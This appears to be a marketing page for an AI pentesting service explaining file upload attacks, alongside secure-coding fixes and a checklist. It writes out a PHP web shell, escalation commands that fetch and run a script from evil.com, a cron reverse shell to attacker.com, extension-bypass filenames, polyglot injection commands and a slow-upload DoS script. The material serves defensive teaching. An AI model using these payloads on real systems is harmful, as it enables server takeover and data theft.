Insecure File Uploads Pentest
That Innocent Profile Picture Upload? It Might Execute Code on Your Server.

Your users upload profile photos, resumes, and documents every day. Seems harmless, right? But what happens when an attacker uploads a PHP file disguised as a JPEG? Without proper server-side input validation, that file executes on your server, and suddenly the attacker has complete control. No password cracking. No SQL injection. Just a simple file upload, and your entire server is compromised.

* Run instant security penetration test on your domain.

THE PROBLEM

Your File Upload Is an Open Door to Your Server

Let me walk you through something that will change how you think about file uploads. You have built a perfectly good application. Users can upload their profile pictures. Simple feature, right? Everyone does it. Your frontend only accepts .jpg, .png, and .gif files. You feel safe.

But here is the thing: attackers do not use your frontend. They talk directly to your API. And when they send a file named shell.php with a Content-Type header claiming it is image/jpeg, what does your server do? If you rely on client-side validation, if you trust the filename extension, if you only check the MIME type in the request headers, you have just accepted a web shell that gives the attacker full control of your server.

This is not some exotic attack technique. The OWASP Foundation lists unrestricted file uploads as a critical web application vulnerability. In 2023, researchers found that Uvdesk version 1.1.1 allowed authenticated users to upload malicious profile pictures that could execute arbitrary commands on the server. A profile picture upload. That is all it took to own the entire server.

Think your application is immune?

PentestMate's AI agents find these flaws in 87% of the apps we test.

Test My App
WHAT WE HUNT

What Our AI Agents Look For

Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.

Web Shell Upload

CRITICAL

We test if your application accepts executable files disguised as images or documents. PHP, JSP, ASP, and other server-side scripts that give attackers direct command execution on your infrastructure.

Extension Bypass Testing

CRITICAL

Double extensions (image.jpg.php), null bytes (file.php%00.jpg), case manipulation (file.PhP), and alternative extensions. We probe every technique attackers use to slip malicious files past your filters.

Content-Type Spoofing

HIGH

Testing if your application trusts the MIME type sent in request headers instead of validating actual file content. Attackers routinely send malicious files with innocent-looking Content-Type values.

File Storage Location Testing

HIGH

We check where uploaded files are stored and whether they are accessible via direct URL. Files stored in web-accessible directories with execute permissions are a critical vulnerability.

Magic Bytes Manipulation

MEDIUM

Testing if your server validates file content using magic bytes (file signatures). Attackers prepend valid image headers to PHP files to bypass content inspection while maintaining code execution.

Path Traversal via Filename

CRITICAL

We test if attackers can control where files are saved using directory traversal sequences in filenames. Uploading to ../../../etc/cron.d/ can lead to scheduled backdoor execution.

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed.

OWASP Foundation(Unrestricted File Upload Documentation)
DEEP DIVE

Why File Upload Attacks Are Devastatingly Simple

File upload vulnerabilities are among the most dangerous yet preventable security issues. The attacks require no special tools, no sophisticated techniques, just the ability to upload a file. And when server-side input validation is missing or flawed, the results are catastrophic. Let me show you exactly how these attacks work.

The Basic Web Shell Upload

This is the attack that keeps security teams up at night. An attacker bypasses your file type restrictions and uploads a PHP web shell. Once executed, they have a command line on your server, accessible through their browser. The simplicity is what makes it terrifying.

basic-webshell-upload.sh
# Step 1: Attacker creates a simple PHP web shell
# File: innocent_photo.php (or innocent_photo.jpg.php)

<?php
// This entire file is just 1 line of code
// But it gives complete server control
system($_GET['cmd']);
?>

# Step 2: Attacker uploads the file
# Your frontend validation says "only images allowed"
# But the attacker bypasses this by:
# - Changing Content-Type header to image/jpeg
# - Modifying the request directly via Burp Suite
# - Double extension: photo.jpg.php

curl -X POST https://yourapp.com/api/upload \
  -F "avatar=@innocent_photo.php;type=image/jpeg"

# Step 3: If the file is stored in a web-accessible location...
# Attacker visits: https://yourapp.com/uploads/innocent_photo.php?cmd=whoami

# Response: www-data
# The attacker now has shell access to your server

# Step 4: Escalation
https://yourapp.com/uploads/innocent_photo.php?cmd=cat /etc/passwd
https://yourapp.com/uploads/innocent_photo.php?cmd=wget http://evil.com/backdoor.sh
https://yourapp.com/uploads/innocent_photo.php?cmd=bash backdoor.sh

# Result: Persistent backdoor, data exfiltration, lateral movement

This attack takes less than 5 minutes to execute. If your application stores uploads in web-accessible directories and does not implement proper server-side input validation, you are vulnerable right now.

Bypassing Extension Filters

So you have blacklisted .php files. Great start. But attackers have dozens of techniques to bypass extension filters. Here are the most common ones, and they work more often than you would expect.

extension-bypass-techniques.txt
# Common Extension Bypass Techniques

# 1. Double Extensions (Apache may execute the last valid one)
malware.php.jpg      # Some servers execute PHP despite .jpg ending
malware.jpg.php      # Or vice versa depending on config

# 2. Case Manipulation
malware.PhP
malware.pHp
malware.PHP

# 3. Null Byte Injection (legacy systems)
malware.php%00.jpg   # PHP sees: malware.php
malware.php\x00.jpg  # Server truncates at null byte

# 4. Alternative PHP Extensions
malware.phtml
malware.phar
malware.phps
malware.php3
malware.php4
malware.php5
malware.php7

# 5. Server-specific Handlers
malware.cgi          # CGI scripts
malware.pl           # Perl
malware.py           # Python
malware.jsp          # Java Server Pages
malware.aspx         # ASP.NET

# 6. .htaccess Upload (if allowed)
# First upload a .htaccess file:
AddType application/x-httpd-php .jpg

# Now ANY .jpg file in that directory executes as PHP!
# Upload "innocent.jpg" containing PHP code
# Visit: /uploads/innocent.jpg -> Code executes

# 7. Trailing Characters
malware.php.
malware.php::$DATA    # Windows NTFS alternate data stream
malware.php/          # Some servers strip trailing slash

# Testing Strategy:
# PentestMate tests ALL of these variations automatically
# against every file upload endpoint in your application

Blacklisting file extensions is a losing game. There are always more variations than you can account for. Proper server-side input validation requires whitelisting allowed types AND validating actual file content, not just the filename.

The Polyglot Attack: Valid Image, Valid Code

What if an attacker could create a file that is simultaneously a valid JPEG image AND executable PHP code? This is called a polyglot file, and it bypasses most content validation checks because the file genuinely IS a valid image.

polyglot-image-attack.sh
# Creating a Polyglot: Both valid JPEG and valid PHP

# Method 1: Inject PHP into EXIF metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' innocent.jpg

# The file passes all image validation checks:
# - Valid JPEG magic bytes (FF D8 FF)
# - Valid EXIF structure
# - Displays correctly as an image
# - getimagesize() returns valid dimensions

# But when executed by PHP, the comment is parsed as code

# Method 2: Append PHP after image data
cat legitimate_image.jpg > polyglot.php
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php

# The file starts with valid JPEG bytes
# Image libraries read it as a valid image
# PHP ignores the binary data until it finds <?php

# Method 3: Use ImageMagick or PHP to inject code
# Some image processing creates exploitable conditions

<?php
$image = imagecreatefromjpeg('input.jpg');
// Attacker has placed PHP in the color palette
// When image is processed and saved...
imagejpeg($image, 'output.jpg');
// The PHP code survives in output if not sanitized
?>

# Defense: Process all uploads through image libraries
# Re-encode images to strip any embedded code
# Store files outside web root
# Never execute user-controlled file paths

Polyglot files defeat naive content-type validation. The file looks like an image because it IS an image, but it also contains executable code. PentestMate's AI agents test for polyglot attacks by attempting to upload files that pass content inspection while still containing executable payloads.

Path Traversal via Filename

What if the attacker could control WHERE the file gets saved? By including path traversal sequences in the filename, attackers can write files to arbitrary locations on your server. System configuration directories, cron jobs, SSH authorized_keys, anything writable by the web server.

path-traversal-upload.py
# The Attack: Control the destination path through filename

# Normal upload request:
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="photo.jpg"

# Attacker's modified request:
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="../../../etc/cron.d/backdoor"

# If the server naively joins paths:
upload_dir = "/var/www/uploads/"
filename = request.filename  # "../../../etc/cron.d/backdoor"
final_path = upload_dir + filename
# Result: /var/www/uploads/../../../etc/cron.d/backdoor
# Resolves to: /etc/cron.d/backdoor

# Now the attacker uploads cron content:
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

# Every minute, the server connects back to attacker
# Full root shell access

# Other dangerous targets:
../../../home/user/.ssh/authorized_keys    # SSH access
../../../var/www/html/backdoor.php         # Web shell in doc root
../../../tmp/evil.so                        # Shared library injection
../../.htaccess                             # Apache config override

# Vulnerable code pattern (Python example):
import os
def save_upload(file):
    # WRONG: Trusting user-supplied filename
    path = os.path.join('/uploads', file.filename)
    file.save(path)
    
# Secure code pattern:
import os
import uuid
def save_upload(file):
    # RIGHT: Generate safe filename server-side
    safe_name = str(uuid.uuid4()) + '.dat'
    path = os.path.join('/uploads', safe_name)
    file.save(path)

Never use client-supplied filenames directly. Generate random filenames server-side, validate that resolved paths stay within the upload directory, and store files outside the web root. Server-side input validation must include path validation, not just content validation.

Denial of Service via File Upload

Not all file upload attacks aim for code execution. Some just want to crash your server. Decompression bombs, oversized files, and infinite loops in image processing can consume all available resources and take your application offline.

file-upload-dos.py
# Attack Vector 1: ZIP Bomb (Decompression Bomb)
# A 42KB zip file that expands to 4.5 PETABYTES

# The classic "42.zip" contains nested zip files
# Each layer expands 16x until reaching 4.5PB
# Servers that auto-extract uploads crash instantly

# Attack Vector 2: Image Processing Bomb
# Create an image with extreme dimensions

<?php
// Malicious image: 65535 x 65535 pixels
// When PHP tries to load this into memory:
// 65535 * 65535 * 4 bytes (RGBA) = 17.1 GB RAM

$image = imagecreatefrompng($_FILES['upload']['tmp_name']);
// Server runs out of memory, process killed
// Repeat to exhaust server resources
?>

# Attack Vector 3: Slow Drip Upload
# Keep connection open with extremely slow data transfer
# Each connection holds server resources

import socket
import time

sock = socket.socket()
sock.connect(("target.com", 80))
sock.send(b"POST /upload HTTP/1.1\r\n")
sock.send(b"Content-Length: 1000000\r\n\r\n")

# Send 1 byte per second
for i in range(1000000):
    sock.send(b"A")
    time.sleep(1)

# With enough parallel connections, server is paralyzed

# Defense Strategy:
# 1. Set maximum file size limits (both in app and web server)
# 2. Set maximum image dimensions before processing
# 3. Process uploads in isolated containers with resource limits
# 4. Use streaming parsers, do not load entire files into memory
# 5. Set connection timeouts and request body timeouts

Resource exhaustion attacks through file uploads are often overlooked. Your application might handle malicious code correctly but still be vulnerable to a file that simply consumes all available memory or disk space.

Still reading? Good. That means you care about security.

Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.

HOW PENTESTMATE HELPS

Stop Reading About Vulnerabilities.
Start Finding Them.

Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.

Comprehensive Upload Testing

Our AI agents test every file upload endpoint with hundreds of attack variations: extension bypasses, content-type spoofing, polyglot files, and path traversal. We find the gaps in your server-side input validation before attackers do.

Continuous Monitoring

New upload endpoints, configuration changes, framework updates - any of these can introduce file upload vulnerabilities. PentestMate monitors your application around the clock, catching new risks the moment they appear.

Actionable Vulnerability Reports

When we find a file upload vulnerability, you get detailed reproduction steps, severity assessment, and specific remediation guidance. Know exactly what is wrong and how to fix it.

See It In Action

Start with a $1 trial - full access to all PentestMate AI-powered security testing

SECURITY CHECKLIST

Quick Business Logic Security Checklist

Use this as a starting point. If you're missing even one of these, you have a problem.

Server-Side Validation

  • Validate file content, not just extension or MIME type
  • Use magic byte (file signature) verification
  • Re-encode images through a processing library to strip code
  • Reject files that fail content validation entirely
  • Implement strict file size limits

Filename Handling

  • Generate random filenames server-side (UUID)
  • Never use client-supplied filenames directly
  • Sanitize and validate any user-controlled path components
  • Verify resolved paths stay within upload directory
  • Strip or reject files with suspicious characters

Storage Security

  • Store uploads outside the web root
  • Remove execute permissions from upload directories
  • Serve files through a download script, not direct URLs
  • Use separate domain or CDN for user content
  • Consider object storage (S3) instead of filesystem

Processing Safety

  • Process uploads in isolated containers
  • Set resource limits (memory, CPU, time) for processing
  • Scan uploads with antivirus before acceptance
  • Implement rate limiting on upload endpoints
  • Log all upload activity for security monitoring

Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.

Run Automated Security Testing
REAL INCIDENTS

Real-World Business Logic Breaches

These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:

Uvdesk 1.1.1 (CVE-2023)

Remote code execution allowing complete server takeover

What happened: Profile picture upload allowed authenticated users to upload PHP files that executed on the server

Lesson: Even authenticated uploads need strict server-side input validation. Trust no file content, regardless of who uploads it. (Source: Fluid Attacks Advisory)

Zenario CMS 9.2 (CVE-2023)

Arbitrary command execution on the server through uploaded .phar files

What happened: Admin users could bypass file upload restrictions by creating new MIME type entries for .phar files

Lesson: File type whitelists must be enforced in code, not just configuration. Admin-configurable file types create privilege escalation paths. (Source: Fluid Attacks Advisory)

GET STARTED IN 2 MINUTES

Is Your File Upload a Backdoor Waiting to Happen?

Most applications have file upload functionality. Most applications get the security wrong. Our AI agents test your uploads with the same techniques real attackers use, from extension bypasses to polyglot files to path traversal. Find out if your server-side input validation actually works before someone uploads a web shell to your production server.

* Run instant security penetration test on your domain.

3-day trial for just $1
Cancel anytime
Full vulnerability report